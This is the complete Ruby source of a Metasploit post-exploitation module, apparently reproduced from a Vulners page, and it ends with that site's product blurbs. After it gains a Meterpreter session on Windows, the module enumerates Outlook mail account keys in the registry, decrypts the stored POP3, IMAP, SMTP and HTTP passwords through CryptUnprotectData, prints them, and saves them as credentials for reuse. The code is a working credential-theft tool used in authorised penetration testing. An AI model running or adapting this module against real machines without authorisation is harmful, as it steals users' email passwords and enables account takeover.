# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
'Description' => %q{
This module extracts and decrypts saved Microsoft
Outlook (versions 2002-2010) passwords from the Windows
Registry for POP3/IMAP/SMTP/HTTP accounts.
In order for decryption to be successful, this module must be
executed under the same privileges as the user which originally
encrypted the password.
},
'License' => MSF_LICENSE,
'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_config_getuid
stdapi_sys_process_attach
stdapi_sys_process_get_processes
stdapi_sys_process_getpid
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
end
def prepare_railgun
if !session.railgun.get_dll('crypt32')
session.railgun.add_dll('crypt32')
end
end
def decrypt_password(data)
pid = client.sys.process.getpid
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(128)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
addr = [mem].pack('V')
len = [data.length].pack('V')
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret['pDataOut'].unpack('V2')
else
addr = [mem].pack('Q')
len = [data.length].pack('Q')
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
len, addr = ret['pDataOut'].unpack('Q2')
end
return '' if len == 0
decrypted_pw = process.memory.read(addr, len)
return decrypted_pw
end
# Just a wrapper to avoid copy pasta and long lines
def get_valdata(key, name)
registry_getvaldata("#{@key_base}\\#{key}", name)
end
def get_registry(outlook_ver)
# Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
outlook_exists = 0
saved_accounts = 0
# Check for registry key based on Outlook version pulled from registry
@key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
next_account_id = get_valdata('', 'NextAccountID')
# Default to original registry key for module
if next_account_id.nil?
@key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'
next_account_id = get_valdata('', 'NextAccountID')
end
if !next_account_id.nil?
# Microsoft Outlook not found
print_status 'Microsoft Outlook found in Registry...'
outlook_exists = 1
registry_enumkeys(@key_base).each do |k|
display_name = get_valdata(k, 'Display Name')
if display_name.nil?
# Microsoft Outlook found, but no account data saved in this location
next
end
# Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
saved_accounts = 1
got_user_pw = 0
displayname = get_valdata(k, 'Display Name')
email = get_valdata(k, 'Email')
pop3_server = get_valdata(k, 'POP3 Server')
smtp_server = get_valdata(k, 'SMTP Server')
http_server_url = get_valdata(k, 'HTTP Server URL')
imap_server = get_valdata(k, 'IMAP Server')
smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
if !smtp_use_auth.nil?
smtp_user = get_valdata(k, 'SMTP User')
smtp_password = get_valdata(k, 'SMTP Password')
smtp_auth_method = get_valdata(k, 'SMTP Auth Method')
end
if !pop3_server.nil?
type = 'POP3'
elsif !http_server_url.nil?
type = 'HTTP'
elsif !imap_server.nil?
type = 'IMAP'
else
type = 'UNKNOWN'
end
# Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
print_good('Account Found:')
print_status(" Type: #{type}")
print_status(" User Display Name: #{displayname}")
print_status(" User Email Address: #{email}")
if type == 'POP3'
pop3_pw = get_valdata(k, 'POP3 Password')
pop3_user = get_valdata(k, 'POP3 User')
pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
smtp_port = get_valdata(k, 'SMTP Port')
print_status(" User Name: #{pop3_user}")
if pop3_pw.nil?
print_status(' User Password: <not stored>')
else
pop3_pw.slice!(0, 1)
pass = decrypt_password(pop3_pw)
print_status(" User Password: #{pass}")
# Prepare data for creds
got_user_pw = 1
host = pop3_server
user = pop3_user
end
if !pop3_use_spa.nil? # Account for SPA (NTLM auth)
print_status(' Secure Password Authentication (SPA): Enabled')
end
print_status(" Incoming Mail Server (POP3): #{pop3_server}")
pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
if pop3_use_ssl.nil?
print_status(' POP3 Use SSL: No')
else
print_status(' POP3 Use SSL: Yes')
end
pop3_port = get_valdata(k, 'POP3 Port')
if pop3_port.nil?
print_status(' POP3 Port: 110')
portnum = 110
else
print_status(" POP3 Port: #{pop3_port}")
portnum = pop3_port
end
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
else
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
if smtp_auth_method.nil?
smtp_user = pop3_user
smtp_decrypted_password = pass
else
smtp_password.slice!(0, 1)
smtp_decrypted_password = decrypt_password(smtp_password)
end
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
end
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
if smtp_use_ssl.nil?
print_status(' SMTP Use SSL: No')
else
print_status(' SMTP Use SSL: Yes')
end
if smtp_port.nil?
print_status(' SMTP Port: 25')
smtp_port = 25
else
print_status(" SMTP Port: #{smtp_port}")
end
elsif type == 'HTTP'
http_password = get_valdata(k, 'HTTP Password')
http_user = get_valdata(k, 'HTTP User')
http_use_spa = get_valdata(k, 'HTTP Use SPA')
print_status(" User Name: #{http_user}")
if http_password.nil?
print_status(' User Password: <not stored>')
else
http_password.slice!(0, 1)
pass = decrypt_password(http_password)
print_status(" User Password: #{pass}")
got_user_pw = 1
host = http_server_url
user = http_user
# Detect 80 or 443 for creds
http_server_url.downcase!
if http_server_url.include? "h\x00t\x00t\x00p\x00s"
portnum = 443
else
portnum = 80
end
end
if !http_use_spa.nil? # Account for SPA (NTLM auth)
print_status(' Secure Password Authentication (SPA): Enabled')
end
print_status(" HTTP Server URL: #{http_server_url}")
elsif type == 'IMAP'
imap_user = get_valdata(k, 'IMAP User')
imap_use_spa = get_valdata(k, 'IMAP Use SPA')
imap_password = get_valdata(k, 'IMAP Password')
smtp_port = get_valdata(k, 'SMTP Port')
print_status(" User Name: #{imap_user}")
if imap_password.nil?
print_status(' User Password: <not stored>')
else
imap_password.slice!(0, 1)
pass = decrypt_password(imap_password)
print_status(" User Password: #{pass}")
got_user_pw = 1
host = imap_server
user = imap_user
end
if !imap_use_spa.nil? # Account for SPA (NTLM auth)
print_status(' Secure Password Authentication (SPA): Enabled')
end
print_status(" Incoming Mail Server (IMAP): #{imap_server}")
imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
if imap_use_ssl.nil?
print_status(' IMAP Use SSL: No')
else
print_status(' IMAP Use SSL: Yes')
end
imap_port = get_valdata(k, 'IMAP Port')
if imap_port.nil?
print_status(' IMAP Port: 143')
portnum = 143
else
print_status(" IMAP Port: #{imap_port}")
portnum = imap_port
end
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
else
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
if smtp_auth_method.nil?
smtp_user = imap_user
smtp_decrypted_password = pass
else
smtp_password.slice!(0, 1)
smtp_decrypted_password = decrypt_password(smtp_password)
end
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
end
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
if smtp_use_ssl.nil?
print_status(' SMTP Use SSL: No')
else
print_status(' SMTP Use SSL: Yes')
end
if smtp_port.nil?
print_status(' SMTP Port: 25')
smtp_port = 25
else
print_status(" SMTP Port: #{smtp_port}")
end
end
if got_user_pw == 1
service_data = {
address: Rex::Socket.getaddress(host),
port: portnum,
protocol: 'tcp',
service_name: type,
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: user,
private_data: pass,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
if !smtp_use_auth.nil?
service_data = {
address: Rex::Socket.getaddress(smtp_server),
port: smtp_port,
protocol: 'tcp',
service_name: 'smtp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: smtp_user,
private_data: smtp_decrypted_password,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
print_status('')
end
end
if outlook_exists == 0
print_status('Microsoft Outlook not installed or Exchange accounts are being used.')
elsif saved_accounts == 0
print_status('Microsoft Outlook installed however no accounts stored in Registry.')
end
end
def outlook_version
val = registry_getvaldata('HKCR\\Outlook.Application\\CurVer', '')
if !val.nil?
idx = val.rindex('.')
val[idx + 1..]
end
end
def run
# Get Outlook version from registry
outlook_ver = outlook_version
fail_with(Failure::NotFound, 'Microsoft Outlook version not found in registry.') if outlook_ver.nil?
print_status("Microsoft Outlook Version: #{outlook_ver}")
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
# **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
if is_system?
print_error("This module is running under #{uid}.")
print_error('Automatic decryption will not be possible.')
print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')
else
print_status('Searching for Microsoft Outlook in Registry...')
prepare_railgun
get_registry(outlook_ver)
end
print_status('Complete')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation